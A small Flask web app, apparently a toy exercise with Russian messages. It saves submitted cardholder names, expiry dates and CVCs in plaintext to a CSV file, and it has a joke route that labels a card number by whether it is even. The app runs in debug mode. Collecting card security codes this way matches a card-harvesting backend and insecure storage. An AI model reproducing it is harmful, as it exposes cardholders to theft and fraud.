import random from flask import Flask, render_template, request, jsonify import os import datetime import csv app = Flask(__name__) @app.route('/') def index(): return render_template('page.html') def save_to_datas_csv(data): filename = 'datas.csv' file_exists = os.path.exists(filename) with open(filename, 'a', newline='', encoding='utf-8') as file: writer = csv.writer(file) if not file_exists or os.path.getsize(filename) == 0: writer.writerow(['time', 'name', 'date', 'cvc']) time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') writer.writerow([time, data['name'], data['date'], data['cvc']]) return True @app.route('/process', methods=['POST']) def process(): data = { 'name': request.form.get('name', ''), 'date': request.form.get('date', ''), 'cvc': request.form.get('cvc', '') } save_to_datas_csv(data) return jsonify({ 'success': 'Данные успешно добавлены в datas.csv!', 'saved_name': data['name'], 'saved_date': data['date'] }) @app.route('/save', methods=['POST']) def save(): number = request.form['number'] if int(number) % 2 == 0: a = 'Пупсень' else: a = 'Вупсень' return f"Номер вашей карты - {number}, поэтому вы {a}" if __name__ == '__main__': app.run(debug=True)